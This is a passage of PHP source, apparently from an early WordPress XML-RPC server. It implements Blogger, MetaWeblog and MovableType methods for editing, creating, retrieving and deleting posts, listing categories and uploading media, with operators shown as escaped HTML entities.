  * Edit a post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return bool true when done.
  */
 function blogger_editPost($args) {

  $this-&amp;#62;escape($args);

  $post_ID     = (int) $args[1];
  $username  = $args[2];
  $password   = $args[3];
  $content     = $args[4];
  $publish     = $args[5];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'blogger.editPost');

  $actual_post = wp_get_single_post($post_ID,ARRAY_A);

  if (!$actual_post || $actual_post['post_type'] != 'post') {
   return new IXR_Error(404, __('Sorry, no such post.'));
  }

  $this-&amp;#62;escape($actual_post);

  if ( !current_user_can('edit_post', $post_ID) )
   return new IXR_Error(401, __('Sorry, you do not have the right to edit this post.'));

  extract($actual_post, EXTR_SKIP);

  if ( ('publish' == $post_status) &amp;&amp; !current_user_can('publish_posts') )
   return new IXR_Error(401, __('Sorry, you do not have the right to publish this post.'));

  $post_title = xmlrpc_getposttitle($content);
  $post_category = xmlrpc_getpostcategory($content);
  $post_content = xmlrpc_removepostdata($content);

  $postdata = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt');

  $result = wp_update_post($postdata);

  if (!$result) {
   return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be edited.'));
  }
  $this-&amp;#62;attach_uploads( $ID, $post_content );

  return true;
 }

 /**
  * Remove a post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return bool True when post is deleted.
  */
 function blogger_deletePost($args) {
  $this-&amp;#62;escape($args);

  $post_ID     = (int) $args[1];
  $username  = $args[2];
  $password   = $args[3];
  $publish     = $args[4];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'blogger.deletePost');

  $actual_post = wp_get_single_post($post_ID,ARRAY_A);

  if (!$actual_post || $actual_post['post_type'] != 'post') {
   return new IXR_Error(404, __('Sorry, no such post.'));
  }

  if ( !current_user_can('edit_post', $post_ID) )
   return new IXR_Error(401, __('Sorry, you do not have the right to delete this post.'));

  $result = wp_delete_post($post_ID);

  if (!$result) {
   return new IXR_Error(500, __('For some strange yet very annoying reason, this post could not be deleted.'));
  }

  return true;
 }

 /* MetaWeblog API functions
  * specs on wherever Dave Winer wants them to be
  */

 /**
  * Create a new post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return int
  */
 function mw_newPost($args) {
  $this-&amp;#62;escape($args);

  $blog_ID     = (int) $args[0]; // we will support this in the near future
  $username  = $args[1];
  $password   = $args[2];
  $content_struct = $args[3];
  $publish     = $args[4];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'metaWeblog.newPost');

  $cap = ( $publish ) ? 'publish_posts' : 'edit_posts';
  $error_message = __( 'Sorry, you are not allowed to publish posts on this blog.' );
  $post_type = 'post';
  $page_template = '';
  if( !empty( $content_struct['post_type'] ) ) {
   if( $content_struct['post_type'] == 'page' ) {
    $cap = ( $publish ) ? 'publish_pages' : 'edit_pages';
    $error_message = __( 'Sorry, you are not allowed to publish pages on this blog.' );
    $post_type = 'page';
    if( !empty( $content_struct['wp_page_template'] ) )
     $page_template = $content_struct['wp_page_template'];
   }
   elseif( $content_struct['post_type'] == 'post' ) {
    // This is the default, no changes needed
   }
   else {
    // No other post_type values are allowed here
    return new IXR_Error( 401, __( 'Invalid post type.' ) );
   }
  }

  if( !current_user_can( $cap ) ) {
   return new IXR_Error( 401, $error_message );
  }

  // Let WordPress generate the post_name (slug) unless
  // one has been provided.
  $post_name = "";
  if(isset($content_struct["wp_slug"])) {
   $post_name = $content_struct["wp_slug"];
  }

  // Only use a password if one was given.
  if(isset($content_struct["wp_password"])) {
   $post_password = $content_struct["wp_password"];
  }

  // Only set a post parent if one was provided.
  if(isset($content_struct["wp_page_parent_id"])) {
   $post_parent = $content_struct["wp_page_parent_id"];
  }

  // Only set the menu_order if it was provided.
  if(isset($content_struct["wp_page_order"])) {
   $menu_order = $content_struct["wp_page_order"];
  }

  $post_author = $user-&amp;#62;ID;

  // If an author id was provided then use it instead.
  if(
   isset($content_struct["wp_author_id"])
   &amp;&amp; ($user-&amp;#62;ID != $content_struct["wp_author_id"])
  ) {
   switch($post_type) {
    case "post":
     if(!current_user_can("edit_others_posts")) {
      return(new IXR_Error(401, __("You are not allowed to post as this user")));
     }
     break;
    case "page":
     if(!current_user_can("edit_others_pages")) {
      return(new IXR_Error(401, __("You are not allowed to create pages as this user")));
     }
     break;
    default:
     return(new IXR_Error(401, __("Invalid post type.")));
     break;
   }
   $post_author = $content_struct["wp_author_id"];
  }

  $post_title = $content_struct['title'];
  $post_content = apply_filters( 'content_save_pre', $content_struct['description'] );

  $post_status = $publish ? 'publish' : 'draft';

  if( isset( $content_struct["{$post_type}_status"] ) ) {
   switch( $content_struct["{$post_type}_status"] ) {
    case 'draft':
    case 'private':
    case 'publish':
     $post_status = $content_struct["{$post_type}_status"];
     break;
    case 'pending':
     // Pending is only valid for posts, not pages.
     if( $post_type === 'post' ) {
      $post_status = $content_struct["{$post_type}_status"];
     }
     break;
    default:
     $post_status = $publish ? 'publish' : 'draft';
     break;
   }
  }

  $post_excerpt = $content_struct['mt_excerpt'];
  $post_more = $content_struct['mt_text_more'];

  $tags_input = $content_struct['mt_keywords'];

  if(isset($content_struct["mt_allow_comments"])) {
   if(!is_numeric($content_struct["mt_allow_comments"])) {
    switch($content_struct["mt_allow_comments"]) {
     case "closed":
      $comment_status = "closed";
      break;
     case "open":
      $comment_status = "open";
      break;
     default:
      $comment_status = get_option("default_comment_status");
      break;
    }
   }
   else {
    switch((int) $content_struct["mt_allow_comments"]) {
     case 0:
     case 2:
      $comment_status = "closed";
      break;
     case 1:
      $comment_status = "open";
      break;
     default:
      $comment_status = get_option("default_comment_status");
      break;
    }
   }
  }
  else {
   $comment_status = get_option("default_comment_status");
  }

  if(isset($content_struct["mt_allow_pings"])) {
   if(!is_numeric($content_struct["mt_allow_pings"])) {
    switch($content_struct['mt_allow_pings']) {
     case "closed":
      $ping_status = "closed";
      break;
     case "open":
      $ping_status = "open";
      break;
     default:
      $ping_status = get_option("default_ping_status");
      break;
    }
   }
   else {
    switch((int) $content_struct["mt_allow_pings"]) {
     case 0:
      $ping_status = "closed";
      break;
     case 1:
      $ping_status = "open";
      break;
     default:
      $ping_status = get_option("default_ping_status");
      break;
    }
   }
  }
  else {
   $ping_status = get_option("default_ping_status");
  }

  if ($post_more) {
   $post_content = $post_content . "&amp;#60;!--more--&amp;#62;" . $post_more;
  }

  $to_ping = $content_struct['mt_tb_ping_urls'];
  if ( is_array($to_ping) )
   $to_ping = implode(' ', $to_ping);

  // Do some timestamp voodoo
  if ( !empty( $content_struct['date_created_gmt'] ) )
   $dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']-&amp;#62;getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force
  elseif ( !empty( $content_struct['dateCreated']) )
   $dateCreated = $content_struct['dateCreated']-&amp;#62;getIso();

  if ( !empty( $dateCreated ) ) {
   $post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
   $post_date_gmt = iso8601_to_datetime($dateCreated, GMT);
  } else {
   $post_date = current_time('mysql');
   $post_date_gmt = current_time('mysql', 1);
  }

  $catnames = $content_struct['categories'];
  logIO('O', 'Post cats: ' . var_export($catnames,true));
  $post_category = array();

  if (is_array($catnames)) {
   foreach ($catnames as $cat) {
    $post_category[] = get_cat_ID($cat);
   }
  }

  // We've got all the data -- post it:
  $postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'to_ping', 'post_type', 'post_name', 'post_password', 'post_parent', 'menu_order', 'tags_input', 'page_template');

  $post_ID = wp_insert_post($postdata, true);
  if ( is_wp_error( $post_ID ) )
   return new IXR_Error(500, $post_ID-&amp;#62;get_error_message());

  if (!$post_ID) {
   return new IXR_Error(500, __('Sorry, your entry could not be posted. Something wrong happened.'));
  }

  // Only posts can be sticky
  if ( $post_type == 'post' &amp;&amp; isset( $content_struct['sticky'] ) )
   if ( $content_struct['sticky'] == true )
    stick_post( $post_ID );
   elseif ( $content_struct['sticky'] == false )
    unstick_post( $post_ID );

  if ( isset($content_struct['custom_fields']) ) {
   $this-&amp;#62;set_custom_fields($post_ID, $content_struct['custom_fields']);
  }

  // Handle enclosures
  $this-&amp;#62;add_enclosure_if_new($post_ID, $content_struct['enclosure']);

  $this-&amp;#62;attach_uploads( $post_ID, $post_content );

  logIO('O', "Posted ! ID: $post_ID");

  return strval($post_ID);
 }

 function add_enclosure_if_new($post_ID, $enclosure) {
  if( is_array( $enclosure ) &amp;&amp; isset( $enclosure['url'] ) &amp;&amp; isset( $enclosure['length'] ) &amp;&amp; isset( $enclosure['type'] ) ) {

   $encstring = $enclosure['url'] . "\n" . $enclosure['length'] . "\n" . $enclosure['type'];
   $found = false;
   foreach ( (array) get_post_custom($post_ID) as $key =&amp;#62; $val) {
    if ($key == 'enclosure') {
     foreach ( (array) $val as $enc ) {
      if ($enc == $encstring) {
       $found = true;
       break 2;
      }
     }
    }
   }
   if (!$found) {
    add_post_meta( $post_ID, 'enclosure', $encstring );
   }
  }
 }

 /**
  * Attach upload to a post.
  *
  * @since 2.1.0
  *
  * @param int $post_ID Post ID.
  * @param string $post_content Post Content for attachment.
  */
 function attach_uploads( $post_ID, $post_content ) {
  global $wpdb;

  // find any unattached files
  $attachments = $wpdb-&amp;#62;get_results( "SELECT ID, guid FROM {$wpdb-&amp;#62;posts} WHERE post_parent = '-1' AND post_type = 'attachment'" );
  if( is_array( $attachments ) ) {
   foreach( $attachments as $file ) {
    if( strpos( $post_content, $file-&amp;#62;guid ) !== false ) {
     $wpdb-&amp;#62;update($wpdb-&amp;#62;posts, array('post_parent' =&amp;#62; $post_ID), array('ID' =&amp;#62; $file-&amp;#62;ID) );
    }
   }
  }
 }

 /**
  * Edit a post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return bool True on success.
  */
 function mw_editPost($args) {

  $this-&amp;#62;escape($args);

  $post_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];
  $content_struct = $args[3];
  $publish     = $args[4];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'metaWeblog.editPost');

  $cap = ( $publish ) ? 'publish_posts' : 'edit_posts';
  $error_message = __( 'Sorry, you are not allowed to publish posts on this blog.' );
  $post_type = 'post';
  $page_template = '';
  if( !empty( $content_struct['post_type'] ) ) {
   if( $content_struct['post_type'] == 'page' ) {
    $cap = ( $publish ) ? 'publish_pages' : 'edit_pages';
    $error_message = __( 'Sorry, you are not allowed to publish pages on this blog.' );
    $post_type = 'page';
    if( !empty( $content_struct['wp_page_template'] ) )
     $page_template = $content_struct['wp_page_template'];
   }
   elseif( $content_struct['post_type'] == 'post' ) {
    // This is the default, no changes needed
   }
   else {
    // No other post_type values are allowed here
    return new IXR_Error( 401, __( 'Invalid post type.' ) );
   }
  }

  if( !current_user_can( $cap ) ) {
   return new IXR_Error( 401, $error_message );
  }

  $postdata = wp_get_single_post($post_ID, ARRAY_A);

  // If there is no post data for the give post id, stop
  // now and return an error.  Other wise a new post will be
  // created (which was the old behavior).
  if(empty($postdata["ID"])) {
   return(new IXR_Error(404, __("Invalid post ID.")));
  }

  $this-&amp;#62;escape($postdata);
  extract($postdata, EXTR_SKIP);

  // Let WordPress manage slug if none was provided.
  $post_name = "";
  if(isset($content_struct["wp_slug"])) {
   $post_name = $content_struct["wp_slug"];
  }

  // Only use a password if one was given.
  if(isset($content_struct["wp_password"])) {
   $post_password = $content_struct["wp_password"];
  }

  // Only set a post parent if one was given.
  if(isset($content_struct["wp_page_parent_id"])) {
   $post_parent = $content_struct["wp_page_parent_id"];
  }

  // Only set the menu_order if it was given.
  if(isset($content_struct["wp_page_order"])) {
   $menu_order = $content_struct["wp_page_order"];
  }

  $post_author = $postdata["post_author"];

  // Only set the post_author if one is set.
  if(
   isset($content_struct["wp_author_id"])
   &amp;&amp; ($user-&amp;#62;ID != $content_struct["wp_author_id"])
  ) {
   switch($post_type) {
    case "post":
     if(!current_user_can("edit_others_posts")) {
      return(new IXR_Error(401, __("You are not allowed to change the post author as this user.")));
     }
     break;
    case "page":
     if(!current_user_can("edit_others_pages")) {
      return(new IXR_Error(401, __("You are not allowed to change the page author as this user.")));
     }
     break;
    default:
     return(new IXR_Error(401, __("Invalid post type.")));
     break;
   }
   $post_author = $content_struct["wp_author_id"];
  }

  if(isset($content_struct["mt_allow_comments"])) {
   if(!is_numeric($content_struct["mt_allow_comments"])) {
    switch($content_struct["mt_allow_comments"]) {
     case "closed":
      $comment_status = "closed";
      break;
     case "open":
      $comment_status = "open";
      break;
     default:
      $comment_status = get_option("default_comment_status");
      break;
    }
   }
   else {
    switch((int) $content_struct["mt_allow_comments"]) {
     case 0:
     case 2:
      $comment_status = "closed";
      break;
     case 1:
      $comment_status = "open";
      break;
     default:
      $comment_status = get_option("default_comment_status");
      break;
    }
   }
  }

  if(isset($content_struct["mt_allow_pings"])) {
   if(!is_numeric($content_struct["mt_allow_pings"])) {
    switch($content_struct["mt_allow_pings"]) {
     case "closed":
      $ping_status = "closed";
      break;
     case "open":
      $ping_status = "open";
      break;
     default:
      $ping_status = get_option("default_ping_status");
      break;
    }
   }
   else {
    switch((int) $content_struct["mt_allow_pings"]) {
     case 0:
      $ping_status = "closed";
      break;
     case 1:
      $ping_status = "open";
      break;
     default:
      $ping_status = get_option("default_ping_status");
      break;
    }
   }
  }

  $post_title = $content_struct['title'];
  $post_content = apply_filters( 'content_save_pre', $content_struct['description'] );
  $catnames = $content_struct['categories'];

  $post_category = array();

  if (is_array($catnames)) {
   foreach ($catnames as $cat) {
     $post_category[] = get_cat_ID($cat);
   }
  }

  $post_excerpt = $content_struct['mt_excerpt'];
  $post_more = $content_struct['mt_text_more'];

  $post_status = $publish ? 'publish' : 'draft';
  if( isset( $content_struct["{$post_type}_status"] ) ) {
   switch( $content_struct["{$post_type}_status"] ) {
    case 'draft':
    case 'private':
    case 'publish':
     $post_status = $content_struct["{$post_type}_status"];
     break;
    case 'pending':
     // Pending is only valid for posts, not pages.
     if( $post_type === 'post' ) {
      $post_status = $content_struct["{$post_type}_status"];
     }
     break;
    default:
     $post_status = $publish ? 'publish' : 'draft';
     break;
   }
  }

  $tags_input = $content_struct['mt_keywords'];

  if ( ('publish' == $post_status) ) {
   if ( ( 'page' == $post_type ) &amp;&amp; !current_user_can('publish_pages') )
    return new IXR_Error(401, __('Sorry, you do not have the right to publish this page.'));
   else if ( !current_user_can('publish_posts') )
    return new IXR_Error(401, __('Sorry, you do not have the right to publish this post.'));
  }

  if ($post_more) {
   $post_content = $post_content . "&amp;#60;!--more--&amp;#62;" . $post_more;
  }

  $to_ping = $content_struct['mt_tb_ping_urls'];
  if ( is_array($to_ping) )
   $to_ping = implode(' ', $to_ping);

  // Do some timestamp voodoo
  if ( !empty( $content_struct['date_created_gmt'] ) )
   $dateCreated = str_replace( 'Z', '', $content_struct['date_created_gmt']-&amp;#62;getIso() ) . 'Z'; // We know this is supposed to be GMT, so we're going to slap that Z on there by force
  elseif ( !empty( $content_struct['dateCreated']) )
   $dateCreated = $content_struct['dateCreated']-&amp;#62;getIso();

  if ( !empty( $dateCreated ) ) {
   $post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
   $post_date_gmt = iso8601_to_datetime($dateCreated, GMT);
  } else {
   $post_date     = $postdata['post_date'];
   $post_date_gmt = $postdata['post_date_gmt'];
  }

  // We've got all the data -- post it:
  $newpost = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'post_date', 'post_date_gmt', 'to_ping', 'post_name', 'post_password', 'post_parent', 'menu_order', 'post_author', 'tags_input', 'page_template');

  $result = wp_update_post($newpost, true);
  if ( is_wp_error( $result ) )
   return new IXR_Error(500, $result-&amp;#62;get_error_message());

  if (!$result) {
   return new IXR_Error(500, __('Sorry, your entry could not be edited. Something wrong happened.'));
  }

  // Only posts can be sticky
  if ( $post_type == 'post' &amp;&amp; isset( $content_struct['sticky'] ) )
   if ( $content_struct['sticky'] == true )
    stick_post( $post_ID );
   elseif ( $content_struct['sticky'] == false )
    unstick_post( $post_ID );

  if ( isset($content_struct['custom_fields']) ) {
   $this-&amp;#62;set_custom_fields($post_ID, $content_struct['custom_fields']);
  }

  // Handle enclosures
  $this-&amp;#62;add_enclosure_if_new($post_ID, $content_struct['enclosure']);

  $this-&amp;#62;attach_uploads( $ID, $post_content );

  logIO('O',"(MW) Edited ! ID: $post_ID");

  return true;
 }

 /**
  * Retrieve post.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function mw_getPost($args) {

  $this-&amp;#62;escape($args);

  $post_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_post', $post_ID ) )
   return new IXR_Error( 401, __( 'Sorry, you cannot edit this post.' ) );

  do_action('xmlrpc_call', 'metaWeblog.getPost');

  $postdata = wp_get_single_post($post_ID, ARRAY_A);

  if ($postdata['post_date'] != '') {
   $post_date = mysql2date('Ymd\TH:i:s', $postdata['post_date'], false);
   $post_date_gmt = mysql2date('Ymd\TH:i:s', $postdata['post_date_gmt'], false);

   // For drafts use the GMT version of the post date
   if ( $postdata['post_status'] == 'draft' ) {
    $post_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $postdata['post_date'] ), 'Ymd\TH:i:s' );
   }

   $categories = array();
   $catids = wp_get_post_categories($post_ID);
   foreach($catids as $catid)
    $categories[] = get_cat_name($catid);

   $tagnames = array();
   $tags = wp_get_post_tags( $post_ID );
   if ( !empty( $tags ) ) {
    foreach ( $tags as $tag )
     $tagnames[] = $tag-&amp;#62;name;
    $tagnames = implode( ', ', $tagnames );
   } else {
    $tagnames = '';
   }

   $post = get_extended($postdata['post_content']);
   $link = post_permalink($postdata['ID']);

   // Get the author info.
   $author = get_userdata($postdata['post_author']);

   $allow_comments = ('open' == $postdata['comment_status']) ? 1 : 0;
   $allow_pings = ('open' == $postdata['ping_status']) ? 1 : 0;

   // Consider future posts as published
   if( $postdata['post_status'] === 'future' ) {
    $postdata['post_status'] = 'publish';
   }

   $sticky = false;
   if ( is_sticky( $post_ID ) )
    $sticky = true;

   $enclosure = array();
   foreach ( (array) get_post_custom($post_ID) as $key =&amp;#62; $val) {
    if ($key == 'enclosure') {
     foreach ( (array) $val as $enc ) {
      $encdata = split("\n", $enc);
      $enclosure['url'] = trim(htmlspecialchars($encdata[0]));
      $enclosure['length'] = trim($encdata[1]);
      $enclosure['type'] = trim($encdata[2]);
      break 2;
     }
    }
   }

   $resp = array(
    'dateCreated' =&amp;#62; new IXR_Date($post_date),
    'userid' =&amp;#62; $postdata['post_author'],
    'postid' =&amp;#62; $postdata['ID'],
    'description' =&amp;#62; $post['main'],
    'title' =&amp;#62; $postdata['post_title'],
    'link' =&amp;#62; $link,
    'permaLink' =&amp;#62; $link,
    // commented out because no other tool seems to use this
    //       'content' =&amp;#62; $entry['post_content'],
    'categories' =&amp;#62; $categories,
    'mt_excerpt' =&amp;#62; $postdata['post_excerpt'],
    'mt_text_more' =&amp;#62; $post['extended'],
    'mt_allow_comments' =&amp;#62; $allow_comments,
    'mt_allow_pings' =&amp;#62; $allow_pings,
    'mt_keywords' =&amp;#62; $tagnames,
    'wp_slug' =&amp;#62; $postdata['post_name'],
    'wp_password' =&amp;#62; $postdata['post_password'],
    'wp_author_id' =&amp;#62; $author-&amp;#62;ID,
    'wp_author_display_name' =&amp;#62; $author-&amp;#62;display_name,
    'date_created_gmt' =&amp;#62; new IXR_Date($post_date_gmt),
    'post_status' =&amp;#62; $postdata['post_status'],
    'custom_fields' =&amp;#62; $this-&amp;#62;get_custom_fields($post_ID),
    'sticky' =&amp;#62; $sticky
   );

   if (!empty($enclosure)) $resp['enclosure'] = $enclosure;

   return $resp;
  } else {
   return new IXR_Error(404, __('Sorry, no such post.'));
  }
 }

 /**
  * Retrieve list of recent posts.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function mw_getRecentPosts($args) {

  $this-&amp;#62;escape($args);

  $blog_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];
  $num_posts   = (int) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'metaWeblog.getRecentPosts');

  $posts_list = wp_get_recent_posts($num_posts);

  if (!$posts_list) {
   return array( );
  }

  foreach ($posts_list as $entry) {
   if( !current_user_can( 'edit_post', $entry['ID'] ) )
    continue;

   $post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false);
   $post_date_gmt = mysql2date('Ymd\TH:i:s', $entry['post_date_gmt'], false);

   // For drafts use the GMT version of the date
   if ( $entry['post_status'] == 'draft' ) {
    $post_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $entry['post_date'] ), 'Ymd\TH:i:s' );
   }

   $categories = array();
   $catids = wp_get_post_categories($entry['ID']);
   foreach($catids as $catid) {
    $categories[] = get_cat_name($catid);
   }

   $tagnames = array();
   $tags = wp_get_post_tags( $entry['ID'] );
   if ( !empty( $tags ) ) {
    foreach ( $tags as $tag ) {
     $tagnames[] = $tag-&amp;#62;name;
    }
    $tagnames = implode( ', ', $tagnames );
   } else {
    $tagnames = '';
   }

   $post = get_extended($entry['post_content']);
   $link = post_permalink($entry['ID']);

   // Get the post author info.
   $author = get_userdata($entry['post_author']);

   $allow_comments = ('open' == $entry['comment_status']) ? 1 : 0;
   $allow_pings = ('open' == $entry['ping_status']) ? 1 : 0;

   // Consider future posts as published
   if( $entry['post_status'] === 'future' ) {
    $entry['post_status'] = 'publish';
   }

   $struct[] = array(
    'dateCreated' =&amp;#62; new IXR_Date($post_date),
    'userid' =&amp;#62; $entry['post_author'],
    'postid' =&amp;#62; $entry['ID'],
    'description' =&amp;#62; $post['main'],
    'title' =&amp;#62; $entry['post_title'],
    'link' =&amp;#62; $link,
    'permaLink' =&amp;#62; $link,
    // commented out because no other tool seems to use this
    // 'content' =&amp;#62; $entry['post_content'],
    'categories' =&amp;#62; $categories,
    'mt_excerpt' =&amp;#62; $entry['post_excerpt'],
    'mt_text_more' =&amp;#62; $post['extended'],
    'mt_allow_comments' =&amp;#62; $allow_comments,
    'mt_allow_pings' =&amp;#62; $allow_pings,
    'mt_keywords' =&amp;#62; $tagnames,
    'wp_slug' =&amp;#62; $entry['post_name'],
    'wp_password' =&amp;#62; $entry['post_password'],
    'wp_author_id' =&amp;#62; $author-&amp;#62;ID,
    'wp_author_display_name' =&amp;#62; $author-&amp;#62;display_name,
    'date_created_gmt' =&amp;#62; new IXR_Date($post_date_gmt),
    'post_status' =&amp;#62; $entry['post_status'],
    'custom_fields' =&amp;#62; $this-&amp;#62;get_custom_fields($entry['ID'])
   );

  }

  $recent_posts = array();
  for ($j=0; $j&amp;#60;count($struct); $j++) {
   array_push($recent_posts, $struct[$j]);
  }

  return $recent_posts;
 }

 /**
  * Retrieve the list of categories on a given blog.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function mw_getCategories($args) {

  $this-&amp;#62;escape($args);

  $blog_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_posts' ) )
   return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view categories.' ) );

  do_action('xmlrpc_call', 'metaWeblog.getCategories');

  $categories_struct = array();

  if ( $cats = get_categories('get=all') ) {
   foreach ( $cats as $cat ) {
    $struct['categoryId'] = $cat-&amp;#62;term_id;
    $struct['parentId'] = $cat-&amp;#62;parent;
    $struct['description'] = $cat-&amp;#62;name;
    $struct['categoryDescription'] = $cat-&amp;#62;description;
    $struct['categoryName'] = $cat-&amp;#62;name;
    $struct['htmlUrl'] = esc_html(get_category_link($cat-&amp;#62;term_id));
    $struct['rssUrl'] = esc_html(get_category_feed_link($cat-&amp;#62;term_id, 'rss2'));

    $categories_struct[] = $struct;
   }
  }

  return $categories_struct;
 }

 /**
  * Uploads a file, following your settings.
  *
  * Adapted from a patch by Johann Richard.
  *
  * @link http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function mw_newMediaObject($args) {
  global $wpdb;

  $blog_ID     = (int) $args[0];
  $username  = $wpdb-&amp;#62;escape($args[1]);
  $password   = $wpdb-&amp;#62;escape($args[2]);
  $data        = $args[3];

  $name = sanitize_file_name( $data['name'] );
  $type = $data['type'];
  $bits = $data['bits'];

  logIO('O', '(MW) Received '.strlen($bits).' bytes');

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'metaWeblog.newMediaObject');

  if ( !current_user_can('upload_files') ) {
   logIO('O', '(MW) User does not have upload_files capability');
   $this-&amp;#62;error = new IXR_Error(401, __('You are not allowed to upload files to this site.'));
   return $this-&amp;#62;error;
  }

  if ( $upload_err = apply_filters( "pre_upload_error", false ) )
   return new IXR_Error(500, $upload_err);

  if(!empty($data["overwrite"]) &amp;&amp; ($data["overwrite"] == true)) {
   // Get postmeta info on the object.
   $old_file = $wpdb-&amp;#62;get_row("
    SELECT ID
    FROM {$wpdb-&amp;#62;posts}
    WHERE post_title = '{$name}'
     AND post_type = 'attachment'
   ");

   // Delete previous file.
   wp_delete_attachment($old_file-&amp;#62;ID);

   // Make sure the new name is different by pre-pending the
   // previous post id.
   $filename = preg_replace("/^wpid\d+-/", "", $name);
   $name = "wpid{$old_file-&amp;#62;ID}-{$filename}";
  }

  $upload = wp_upload_bits($name, $type, $bits);
  if ( ! empty($upload['error']) ) {
   $errorString = sprintf(__('Could not write file %1$s (%2$s)'), $name, $upload['error']);
   logIO('O', '(MW) ' . $errorString);
   return new IXR_Error(500, $errorString);
  }
  // Construct the attachment array
  // attach to post_id -1
  $post_id = -1;
  $attachment = array(
   'post_title' =&amp;#62; $name,
   'post_content' =&amp;#62; '',
   'post_type' =&amp;#62; 'attachment',
   'post_parent' =&amp;#62; $post_id,
   'post_mime_type' =&amp;#62; $type,
   'guid' =&amp;#62; $upload[ 'url' ]
  );

  // Save the data
  $id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id );
  wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );

  return apply_filters( 'wp_handle_upload', array( 'file' =&amp;#62; $name, 'url' =&amp;#62; $upload[ 'url' ], 'type' =&amp;#62; $type ) );
 }

 /* MovableType API functions
  * specs on http://www.movabletype.org/docs/mtmanual_programmatic.html
  */

 /**
  * Retrieve the post titles of recent posts.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function mt_getRecentPostTitles($args) {

  $this-&amp;#62;escape($args);

  $blog_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];
  $num_posts   = (int) $args[3];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  do_action('xmlrpc_call', 'mt.getRecentPostTitles');

  $posts_list = wp_get_recent_posts($num_posts);

  if (!$posts_list) {
   $this-&amp;#62;error = new IXR_Error(500, __('Either there are no posts, or something went wrong.'));
   return $this-&amp;#62;error;
  }

  foreach ($posts_list as $entry) {
   if( !current_user_can( 'edit_post', $entry['ID'] ) )
    continue;

   $post_date = mysql2date('Ymd\TH:i:s', $entry['post_date'], false);
   $post_date_gmt = mysql2date('Ymd\TH:i:s', $entry['post_date_gmt'], false);

   // For drafts use the GMT version of the date
   if ( $entry['post_status'] == 'draft' ) {
    $post_date_gmt = get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $entry['post_date'] ), 'Ymd\TH:i:s' );
   }

   $struct[] = array(
    'dateCreated' =&amp;#62; new IXR_Date($post_date),
    'userid' =&amp;#62; $entry['post_author'],
    'postid' =&amp;#62; $entry['ID'],
    'title' =&amp;#62; $entry['post_title'],
    'date_created_gmt' =&amp;#62; new IXR_Date($post_date_gmt)
   );

  }

  $recent_posts = array();
  for ($j=0; $j&amp;#60;count($struct); $j++) {
   array_push($recent_posts, $struct[$j]);
  }

  return $recent_posts;
 }

 /**
  * Retrieve list of all categories on blog.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
 function mt_getCategoryList($args) {

  $this-&amp;#62;escape($args);

  $blog_ID     = (int) $args[0];
  $username  = $args[1];
  $password   = $args[2];

  if ( !$user = $this-&amp;#62;login($username, $password) ) {
   return $this-&amp;#62;error;
  }

  if( !current_user_can( 'edit_posts' ) )
   return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this blog in order to view categories.' ) );

  do_action('xmlrpc_call', 'mt.getCategoryList');

  $categories_struct = array();

  if ( $cats = get_categories('hide_empty=0&amp;hierarchical=0') ) {
   foreach ($cats as $cat) {
    $struct['categoryId'] = $cat-&amp;#62;term_id;
    $struct['categoryName'] = $cat-&amp;#62;name;

    $categories_struct[] = $struct;
   }
  }

  return $categories_struct;
 }

 /**
  * Retrieve post categories.
  *
  * @since 1.5.0
  *
  * @param array $args Method parameters.
  * @return array
  */
